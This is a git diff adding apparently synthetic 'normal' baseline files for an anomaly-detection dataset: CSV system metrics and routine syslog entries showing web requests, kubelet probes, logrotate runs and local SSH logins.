name="/etc/sssd/sssd.conf" pid=7173 comm="sssd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Aug 22 10:05:15 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:05:30 kernel: [1755857130.0] audit: type=1400 audit(SESSION): apparmor="DENIED" operation="open" profile="/usr/sbin/sssd" name="/etc/sssd/sssd.conf" pid=8828 comm="sssd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Aug 22 10:05:40 sshd[9252]: Accepted password for user from 192.168.1.198 port 40090 ssh2 +Aug 22 10:05:50 sshd[9802]: Accepted password for user from 192.168.1.195 port 54643 ssh2 +Aug 22 10:06:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:07:05 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_25.csv b/norm_dataset/scenario_2/norm_2_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..8bea8e4d30800572fd9a69d15c887a5247ab49d9 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-21T10:00:00Z,14.13,38.56,33.94,0.99,0.87 +2025-08-21T10:00:05Z,20.97,37.92,31.88,1.11,1.02 +2025-08-21T10:00:10Z,11.3,41.43,27.29,1.42,0.8 +2025-08-21T10:00:15Z,15.78,39.28,27.85,1.06,1.06 +2025-08-21T10:00:20Z,15.38,38.05,30.12,1.43,0.98 +2025-08-21T10:00:25Z,13.66,42.17,34.45,1.03,0.96 +2025-08-21T10:00:30Z,15.3,37.18,29.72,0.98,1.14 +2025-08-21T10:00:35Z,15.39,38.28,33.1,1.5,0.99 +2025-08-21T10:00:40Z,14.74,40.88,32.13,1.03,0.87 +2025-08-21T10:00:45Z,11.94,40.84,27.79,0.86,0.96 +2025-08-21T10:00:50Z,18.74,39.72,27.73,1.24,1.14 +2025-08-21T10:00:55Z,13.04,40.19,32.21,1.35,1.13 +2025-08-21T10:01:00Z,18.56,42.0,33.57,0.89,1.13 +2025-08-21T10:01:05Z,13.86,41.65,32.44,1.48,0.77 +2025-08-21T10:01:10Z,16.98,37.91,29.72,1.39,1.03 +2025-08-21T10:01:15Z,13.92,39.41,32.88,1.32,0.92 +2025-08-21T10:01:20Z,14.62,42.05,31.33,0.87,1.17 +2025-08-21T10:01:25Z,11.16,40.48,36.2,1.24,0.88 +2025-08-21T10:01:30Z,13.92,40.66,27.6,1.34,1.17 +2025-08-21T10:01:35Z,17.73,38.21,27.37,0.99,1.28 +2025-08-21T10:01:40Z,10.42,45.5,32.32,0.9,0.89 +2025-08-21T10:01:45Z,12.07,39.93,25.88,1.44,1.15 +2025-08-21T10:01:50Z,16.01,39.71,29.17,1.12,1.03 +2025-08-21T10:01:55Z,21.22,39.91,36.03,0.82,1.25 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+2025-08-21T10:07:00Z,16.17,40.37,31.45,1.03,1.21 +2025-08-21T10:07:05Z,20.8,38.16,34.42,1.25,1.06 +2025-08-21T10:07:10Z,11.34,39.5,25.45,1.2,0.97 +2025-08-21T10:07:15Z,18.56,42.4,28.43,1.37,0.87 +2025-08-21T10:07:20Z,16.7,38.98,40.27,1.12,1.13 +2025-08-21T10:07:25Z,10.77,39.54,26.75,1.3,0.81 diff --git a/norm_dataset/scenario_2/norm_2_25.log b/norm_dataset/scenario_2/norm_2_25.log new file mode 100644 index 0000000000000000000000000000000000000000..d9948b4523e1102a92b2c62de8ed1c729fd497de --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_25.log @@ -0,0 +1,50 @@ +Aug 21 09:59:59 ip-10-0-1-15 systemd[1]: Starting daily clean up activities... +Aug 21 10:00:00 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/15 status=200 OK +Aug 21 10:00:00 ip-10-0-1-15 kubelet[3456]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:00:20 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/13 status=200 OK +Aug 21 10:00:40 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/19 status=200 OK +Aug 21 10:00:40 ip-10-0-1-15 kubelet[3456]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:01:00 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/10 status=200 OK +Aug 21 10:01:14 ip-10-0-1-15 systemd[1]: Starting daily clean up activities... +Aug 21 10:01:20 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/21 status=200 OK +Aug 21 10:01:20 ip-10-0-1-15 kubelet[3456]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:01:40 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/23 status=200 OK +Aug 21 10:02:00 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/43 status=200 OK +Aug 21 10:02:00 ip-10-0-1-15 kubelet[3456]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:02:20 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/14 status=200 OK +Aug 21 10:02:29 ip-10-0-1-15 systemd[1]: Starting daily clean up activities... +Aug 21 10:02:40 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/42 status=200 OK +Aug 21 10:02:40 ip-10-0-1-15 kubelet[3456]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:03:00 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/18 status=200 OK +Aug 21 10:03:00 ip-10-0-1-15 CRON[18988]: (root) CMD (test -x /usr/sbin/logrotate && /usr/sbin/logrotate /etc/logrotate.conf) +Aug 21 10:03:01 ip-10-0-1-15 logrotate[18990]: Reading configuration file /etc/logrotate.conf +Aug 21 10:03:03 ip-10-0-1-15 logrotate[18990]: considering log /var/log/web-app/access.log +Aug 21 10:03:04 ip-10-0-1-15 logrotate[18990]: log needs rotating +Aug 21 10:03:05 ip-10-0-1-15 logrotate[18990]: rotating log /var/log/web-app/access.log, log-size 25M +Aug 21 10:03:06 ip-10-0-1-15 logrotate[18990]: renaming /var/log/web-app/access.log to /var/log/web-app/access.log.1 +Aug 21 10:03:09 ip-10-0-1-15 logrotate[18990]: creating new /var/log/web-app/access.log mode = 0644 uid = 0 gid = 0 +Aug 21 10:03:11 ip-10-0-1-15 logrotate[18990]: compressing /var/log/web-app/access.log.1 +Aug 21 10:03:14 ip-10-0-1-15 systemd[1]: logrotate.service: Succeeded. +Aug 21 10:03:20 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/15 status=200 OK +Aug 21 10:03:20 ip-10-0-1-15 kubelet[3456]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:03:40 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/16 status=200 OK +Aug 21 10:03:45 ip-10-0-1-15 systemd[1]: Starting daily clean up activities... +Aug 21 10:04:00 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/37 status=200 OK +Aug 21 10:04:00 ip-10-0-1-15 kubelet[3456]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:04:20 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/32 status=200 OK +Aug 21 10:04:40 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/23 status=200 OK +Aug 21 10:04:40 ip-10-0-1-15 kubelet[3456]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:04:59 ip-10-0-1-15 systemd[1]: Starting daily clean up activities... +Aug 21 10:05:00 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/22 status=200 OK +Aug 21 10:05:20 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/29 status=200 OK +Aug 21 10:05:20 ip-10-0-1-15 kubelet[3456]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:05:40 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/36 status=200 OK +Aug 21 10:06:00 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/42 status=200 OK +Aug 21 10:06:00 ip-10-0-1-15 kubelet[3456]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:06:15 ip-10-0-1-15 systemd[1]: Starting daily clean up activities... +Aug 21 10:06:20 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/42 status=200 OK +Aug 21 10:06:40 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/28 status=200 OK +Aug 21 10:06:40 ip-10-0-1-15 kubelet[3456]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:07:00 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/41 status=200 OK +Aug 21 10:07:20 ip-10-0-1-15 web-app[2233]: GET /api/v1/user/45 status=200 OK +Aug 21 10:07:20 ip-10-0-1-15 kubelet[3456]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_2/norm_2_26.csv b/norm_dataset/scenario_2/norm_2_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..2649c7a9bce3f71591c0da7e13e48de7d5a8f1c2 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T14:00:00Z,17.88,44.05,7.89,0.93,1.22 +2025-07-03T14:00:05Z,12.27,38.36,7.5,1.14,1.06 +2025-07-03T14:00:10Z,10.55,37.39,14.86,1.05,1.24 +2025-07-03T14:00:15Z,13.22,35.65,12.69,1.18,1.06 +2025-07-03T14:00:20Z,14.45,39.98,9.53,1.0,0.91 +2025-07-03T14:00:25Z,15.67,41.62,5.57,1.39,0.94 +2025-07-03T14:00:30Z,17.32,42.41,12.76,0.98,0.82 +2025-07-03T14:00:35Z,18.03,39.91,11.23,1.22,1.04 +2025-07-03T14:00:40Z,15.48,39.58,12.4,1.15,1.17 +2025-07-03T14:00:45Z,19.88,39.87,8.56,1.37,1.21 +2025-07-03T14:00:50Z,16.72,37.81,5.48,1.16,1.23 +2025-07-03T14:00:55Z,17.46,39.66,7.23,0.93,1.21 +2025-07-03T14:01:00Z,14.35,40.35,5.94,1.49,0.86 +2025-07-03T14:01:05Z,18.86,36.13,7.14,1.02,0.95 +2025-07-03T14:01:10Z,13.49,42.37,9.3,1.37,0.98 +2025-07-03T14:01:15Z,15.95,43.13,7.37,1.49,0.82 +2025-07-03T14:01:20Z,18.33,35.61,11.69,1.02,1.24 +2025-07-03T14:01:25Z,12.52,35.47,7.47,1.26,0.9 +2025-07-03T14:01:30Z,17.61,43.4,7.71,1.45,0.84 +2025-07-03T14:01:35Z,15.4,40.87,7.18,1.35,0.79 +2025-07-03T14:01:40Z,17.28,43.12,12.38,1.25,1.27 +2025-07-03T14:01:45Z,17.18,38.18,11.41,0.96,1.01 +2025-07-03T14:01:50Z,11.25,44.49,5.63,0.95,1.21 +2025-07-03T14:01:55Z,18.7,36.33,14.6,1.26,1.12 +2025-07-03T14:02:00Z,10.77,36.46,5.49,0.89,0.9 +2025-07-03T14:02:05Z,13.08,43.8,6.8,1.15,1.13 +2025-07-03T14:02:10Z,16.35,38.11,13.51,1.21,0.71 +2025-07-03T14:02:15Z,14.12,37.31,7.89,1.3,0.75 +2025-07-03T14:02:20Z,16.87,39.24,6.47,1.2,0.91 +2025-07-03T14:02:25Z,13.09,36.25,11.31,0.84,0.8 +2025-07-03T14:02:30Z,11.4,42.29,12.04,1.17,1.02 +2025-07-03T14:02:35Z,11.88,44.21,14.76,1.42,0.9 +2025-07-03T14:02:40Z,12.61,43.12,8.23,1.14,1.28 +2025-07-03T14:02:45Z,12.85,44.75,6.29,1.18,0.74 +2025-07-03T14:02:50Z,14.53,39.59,6.16,0.92,1.24 +2025-07-03T14:02:55Z,10.77,38.98,5.38,1.45,0.93 +2025-07-03T14:03:00Z,15.41,44.44,6.31,1.42,0.84 +2025-07-03T14:03:05Z,19.31,43.3,8.64,1.37,1.05 +2025-07-03T14:03:10Z,13.12,44.42,13.39,1.19,1.12 +2025-07-03T14:03:15Z,17.9,36.17,6.1,1.0,1.12 +2025-07-03T14:03:20Z,81.16,44.33,88.09,1.18,1.16 +2025-07-03T14:03:25Z,84.24,38.72,85.04,0.98,1.21 +2025-07-03T14:03:30Z,92.86,38.58,85.65,1.37,0.74 +2025-07-03T14:03:35Z,83.5,37.59,97.47,0.94,0.82 +2025-07-03T14:03:40Z,14.45,42.32,7.56,0.9,1.08 +2025-07-03T14:03:45Z,10.85,44.51,6.59,1.33,1.01 +2025-07-03T14:03:50Z,13.38,38.08,9.37,1.23,1.22 +2025-07-03T14:03:55Z,19.38,40.79,10.48,1.48,0.88 +2025-07-03T14:04:00Z,17.96,37.01,5.72,1.09,0.99 +2025-07-03T14:04:05Z,11.21,37.69,8.71,1.29,1.12 +2025-07-03T14:04:10Z,17.18,35.39,9.23,1.09,1.28 +2025-07-03T14:04:15Z,11.44,35.66,13.64,1.32,1.07 +2025-07-03T14:04:20Z,16.33,43.38,7.0,1.45,0.83 +2025-07-03T14:04:25Z,11.11,36.92,7.39,0.83,0.99 +2025-07-03T14:04:30Z,11.53,38.4,13.23,1.12,0.83 +2025-07-03T14:04:35Z,14.66,37.96,7.12,1.15,0.88 +2025-07-03T14:04:40Z,15.38,44.77,13.49,1.0,1.25 +2025-07-03T14:04:45Z,16.73,37.75,5.82,1.07,0.74 +2025-07-03T14:04:50Z,15.61,43.56,10.37,1.04,1.0 +2025-07-03T14:04:55Z,14.7,37.41,13.87,1.11,0.75 +2025-07-03T14:05:00Z,10.34,36.89,5.63,0.92,0.75 +2025-07-03T14:05:05Z,16.86,38.97,5.95,1.33,0.77 +2025-07-03T14:05:10Z,18.49,42.52,6.27,1.33,0.89 +2025-07-03T14:05:15Z,10.5,41.28,9.04,1.19,1.03 +2025-07-03T14:05:20Z,16.97,38.27,14.54,1.01,1.24 +2025-07-03T14:05:25Z,14.24,42.3,7.42,1.29,0.7 +2025-07-03T14:05:30Z,10.81,36.89,10.52,1.15,1.09 +2025-07-03T14:05:35Z,18.66,44.57,8.23,1.22,1.24 +2025-07-03T14:05:40Z,15.53,38.84,5.68,1.31,0.95 +2025-07-03T14:05:45Z,17.45,37.73,8.69,1.33,1.17 +2025-07-03T14:05:50Z,10.78,41.56,6.46,0.99,0.78 +2025-07-03T14:05:55Z,10.42,35.54,6.04,1.21,0.96 +2025-07-03T14:06:00Z,10.43,44.93,6.94,1.08,0.77 +2025-07-03T14:06:05Z,10.35,38.77,10.17,1.39,0.91 +2025-07-03T14:06:10Z,12.64,39.2,6.64,0.94,1.25 +2025-07-03T14:06:15Z,11.15,41.81,10.72,0.9,0.76 +2025-07-03T14:06:20Z,10.61,38.52,10.41,1.35,1.1 +2025-07-03T14:06:25Z,16.48,36.4,11.91,1.01,0.94 +2025-07-03T14:06:30Z,12.44,44.2,5.47,1.16,1.0 +2025-07-03T14:06:35Z,19.29,40.23,5.3,0.9,1.28 +2025-07-03T14:06:40Z,12.79,35.86,11.33,0.94,0.78 +2025-07-03T14:06:45Z,14.11,38.59,10.73,1.12,1.25 +2025-07-03T14:06:50Z,10.05,37.82,7.32,1.02,1.13 +2025-07-03T14:06:55Z,14.02,36.68,6.35,0.99,1.1 +2025-07-03T14:07:00Z,17.25,40.35,6.34,1.47,1.0 +2025-07-03T14:07:05Z,19.03,40.25,7.56,0.85,1.28 +2025-07-03T14:07:10Z,14.26,35.55,6.11,1.27,1.19 +2025-07-03T14:07:15Z,11.16,42.08,5.17,1.49,0.89 +2025-07-03T14:07:20Z,15.94,41.83,7.89,1.06,0.95 +2025-07-03T14:07:25Z,17.77,41.97,9.62,1.15,1.27 diff --git a/norm_dataset/scenario_2/norm_2_26.log b/norm_dataset/scenario_2/norm_2_26.log new file mode 100644 index 0000000000000000000000000000000000000000..28798ded23829d3c60de4bf0202d6bab8834c51b --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_26.log @@ -0,0 +1,90 @@ +Jul 03 14:00:00 web-app[1134]: GET /api/v1/user/18 status=200 OK +Jul 03 14:00:05 database[1798]: INFO Connection established from 127.0.0.1 +Jul 03 14:00:10 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:00:15 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:00:20 web-app[1134]: GET /api/v1/user/11 status=200 OK +Jul 03 14:00:25 database[1798]: INFO Connection established from 127.0.0.1 +Jul 03 14:00:30 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:00:35 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:00:40 web-app[1134]: GET /api/v1/user/19 status=200 OK +Jul 03 14:00:45 database[1798]: INFO Connection established from 127.0.0.1 +Jul 03 14:00:50 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:00:55 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:01:00 web-app[1134]: GET /api/v1/user/10 status=200 OK +Jul 03 14:01:05 database[1798]: INFO Connection established from 127.0.0.1 +Jul 03 14:01:10 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:01:15 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:01:20 web-app[1134]: GET /api/v1/user/19 status=200 OK +Jul 03 14:01:25 database[1798]: INFO Connection established from 127.0.0.1 +Jul 03 14:01:30 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:01:35 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:01:40 web-app[1134]: GET /api/v1/user/12 status=200 OK +Jul 03 14:01:45 database[1798]: INFO Connection established from 127.0.0.1 +Jul 03 14:01:50 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:01:55 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:02:00 web-app[1134]: GET /api/v1/user/17 status=200 OK +Jul 03 14:02:05 database[1798]: INFO Connection established from 127.0.0.1 +Jul 03 14:02:10 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:02:15 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:02:20 web-app[1134]: GET /api/v1/user/17 status=200 OK +Jul 03 14:02:25 database[1798]: INFO Connection established from 127.0.0.1 +Jul 03 14:02:30 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:02:35 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:02:40 web-app[1134]: GET /api/v1/user/14 status=200 OK +Jul 03 14:02:45 database[1798]: INFO Connection established from 127.0.0.1 +Jul 03 14:02:50 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:02:55 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:03:00 web-app[1134]: GET /api/v1/user/15 status=200 OK +Jul 03 14:03:05 database[1798]: INFO Connection established from 127.0.0.1 +Jul 03 14:03:10 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:03:15 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:03:20 CRON[2771]: (root) CMD (run-parts /etc/cron.daily) +Jul 03 14:03:25 systemd[1]: Starting Log Rotation... +Jul 03 14:03:30 logrotate[2402]: compressing /var/log/nginx/access.log +Jul 03 14:03:35 systemd[1]: logrotate.service: Succeeded. +Jul 03 14:03:40 web-app[1134]: GET /api/v1/user/18 status=200 OK +Jul 03 14:03:45 kubelet[2402]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 14:03:50 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:03:55 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:04:00 web-app[1134]: GET /api/v1/user/13 status=200 OK +Jul 03 14:04:05 kubelet[2402]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 14:04:10 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:04:15 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:04:20 web-app[1134]: GET /api/v1/user/19 status=200 OK +Jul 03 14:04:25 kubelet[2402]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 14:04:30 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:04:35 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:04:40 web-app[1134]: GET /api/v1/user/14 status=200 OK +Jul 03 14:04:45 kubelet[2402]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 14:04:50 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:04:55 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:05:00 web-app[1134]: GET /api/v1/user/18 status=200 OK +Jul 03 14:05:05 kubelet[2402]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 14:05:10 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:05:15 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:05:20 web-app[1134]: GET /api/v1/user/11 status=200 OK +Jul 03 14:05:25 kubelet[2402]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 14:05:30 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:05:35 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:05:40 web-app[1134]: GET /api/v1/user/18 status=200 OK +Jul 03 14:05:45 kubelet[2402]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 14:05:50 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:05:55 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:06:00 web-app[1134]: GET /api/v1/user/12 status=200 OK +Jul 03 14:06:05 kubelet[2402]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 14:06:10 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:06:15 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:06:20 web-app[1134]: GET /api/v1/user/13 status=200 OK +Jul 03 14:06:25 kubelet[2402]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 14:06:30 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:06:35 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:06:40 web-app[1134]: GET /api/v1/user/17 status=200 OK +Jul 03 14:06:45 kubelet[2402]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 14:06:50 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:06:55 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:07:00 web-app[1134]: GET /api/v1/user/17 status=200 OK +Jul 03 14:07:05 kubelet[2402]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 14:07:10 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:07:15 web-app[1018]: POST /api/v1/data status=201 Created +Jul 03 14:07:20 web-app[1134]: GET /api/v1/user/19 status=200 OK +Jul 03 14:07:25 kubelet[2402]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_2/norm_2_27.csv b/norm_dataset/scenario_2/norm_2_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..96581f62c37f6d24c7ecfc1cf47bebb94a87b25a --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.799046538948005,40.996370627488666,30.05767309748018,1.0388198867170821,1.0775910412930139 +2025-07-02T12:00:05Z,14.73791919384587,42.05944674661649,29.238295130738088,1.484161119957903,1.2864798058300386 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b/norm_dataset/scenario_2/norm_2_27.log new file mode 100644 index 0000000000000000000000000000000000000000..e59d7eb036d6878a030b25958c5428e11ea36e88 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_27.log @@ -0,0 +1,13 @@ +Jul 02 12:00:00 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:00:00 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:01:40 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:03:00 systemd[1]: Starting Log Rotation... +Jul 02 12:03:02 logrotate[6543]: rotating pattern: /var/log/web-app/*.log weekly (4 rotations) +Jul 02 12:03:03 logrotate[6543]: considering /var/log/web-app/access.log +Jul 02 12:03:04 logrotate[6543]: log needs rotating +Jul 02 12:03:06 logrotate[6543]: rotating log /var/log/web-app/access.log, log->rotateCount is 4 +Jul 02 12:03:08 logrotate[6543]: renaming /var/log/web-app/access.log.4 to /var/log/web-app/access.log.5 (old log will be discarded) +Jul 02 12:03:12 logrotate[6543]: compressing /var/log/web-app/access.log.1 with gzip +Jul 02 12:03:18 systemd[1]: logrotate.service: Succeeded. +Jul 02 12:03:20 web-app[1357]: GET /api/v1/user/45 status=200 OK +Jul 02 12:06:20 web-app[1357]: GET /api/v1/user/45 status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_28.csv b/norm_dataset/scenario_2/norm_2_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..09b04df467b84a0eef1043cfddd0f6d02baee564 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,13.75,38.84,30.12,1.2,0.89 +2025-07-02T12:00:05Z,19.51,42.99,26.7,1.21,1.02 +2025-07-02T12:00:10Z,17.32,43.33,38.87,1.23,0.93 +2025-07-02T12:00:15Z,15.99,41.93,38.16,1.26,0.97 +2025-07-02T12:00:20Z,11.56,43.4,28.87,1.06,1.17 +2025-07-02T12:00:25Z,11.56,41.46,34.9,1.05,0.89 +2025-07-02T12:00:30Z,10.58,41.66,37.26,1.2,1.18 +2025-07-02T12:00:35Z,18.66,40.99,33.33,1.12,1.15 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+2025-07-02T12:07:20Z,18.87,44.56,30.39,1.27,0.89 +2025-07-02T12:07:25Z,14.72,38.96,29.4,1.09,0.74 diff --git a/norm_dataset/scenario_2/norm_2_28.log b/norm_dataset/scenario_2/norm_2_28.log new file mode 100644 index 0000000000000000000000000000000000000000..e6a0ec0ba432fde37f09a05ac8cb09fb104d4574 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_28.log @@ -0,0 +1,27 @@ +Jul 02 12:00:00 web-app[1357]: GET /api/v1/status status=200 OK +Jul 02 12:00:35 web-app[1357]: GET /api/v1/status status=200 OK +Jul 02 12:00:55 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:01:10 web-app[1357]: GET /api/v1/status status=200 OK +Jul 02 12:01:15 systemd[1]: Starting Daily apt download activities... +Jul 02 12:01:45 web-app[1357]: GET /api/v1/status status=200 OK +Jul 02 12:01:50 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:02:20 web-app[1357]: GET /api/v1/status status=200 OK +Jul 02 12:02:30 systemd[1]: Starting Daily apt download activities... +Jul 02 12:02:45 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:02:55 web-app[1357]: GET /api/v1/status status=200 OK +Jul 02 12:03:30 web-app[1357]: GET /api/v1/status status=200 OK +Jul 02 12:03:40 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:03:45 CRON[6543]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 02 12:03:45 systemd[1]: Starting Log Rotation... +Jul 02 12:03:50 logrotate[6545]: rotating pattern: /var/log/nginx/*.log weekly (7 rotations) +Jul 02 12:03:55 logrotate[6545]: compressing /var/log/nginx/access.log.1 +Jul 02 12:04:00 logrotate[6545]: creating new /var/log/nginx/access.log +Jul 02 12:04:10 systemd[1]: logrotate.service: Succeeded. +Jul 02 12:04:20 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:04:40 web-app[1357]: GET /api/v1/user/45 status=200 OK +Jul 02 12:05:15 web-app[1357]: GET /api/v1/user/45 status=200 OK +Jul 02 12:05:25 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:50 web-app[1357]: GET /api/v1/user/45 status=200 OK +Jul 02 12:06:25 web-app[1357]: GET /api/v1/user/45 status=200 OK +Jul 02 12:06:30 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:07:00 web-app[1357]: GET /api/v1/user/45 status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_29.csv b/norm_dataset/scenario_2/norm_2_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..966553b6edc4ac3e74bcc04adeb4781242c30ab5 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_29.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,17.295982324447486,44.5466726621733,26.524452203305692,1.0327691972500603,0.7594681822231449 +2025-08-22T10:00:05Z,14.02391569766665,41.46568041868469,24.29477472129663,1.5199214859513401,0.7540970802451897 +2025-08-22T10:00:10Z,15.280223249725918,36.87025937484611,27.269352517474626,1.2239933302726083,1.0286476741699606 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+2025-08-22T10:06:55Z,12.370126216901163,36.63577076913923,36.7364718211735,1.094271574711811,0.7471591454302197 +2025-08-22T10:07:00Z,19.381642973224366,43.801108041929076,31.71082979795608,0.8754152593261031,0.6183507121454446 +2025-08-22T10:07:05Z,14.020469757867405,42.01634795890133,22.704194751964316,0.8161614840474094,0.37994933710230017 +2025-08-22T10:07:10Z,14.913921396241859,40.23160544302199,33.43900641455326,0.7926434924481567,1.1674958595855554 +2025-08-22T10:07:15Z,17.547941056521253,40.923667695755675,32.25313780997745,1.0370207660975492,0.9573525930153501 +2025-08-22T10:07:20Z,11.997748714802235,39.52875707747351,26.02272252556414,0.5030829071979981,0.4048715978143452 +2025-08-22T10:07:25Z,18.62030037433656,39.422252743314246,41.57611108060425,1.076144319229843,0.8243709689235861 diff --git a/norm_dataset/scenario_2/norm_2_29.log b/norm_dataset/scenario_2/norm_2_29.log new file mode 100644 index 0000000000000000000000000000000000000000..1a5b2c3a2c468b1b9f8865f02b0fe3ebeca5b953 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_29.log @@ -0,0 +1,29 @@ +Aug 22 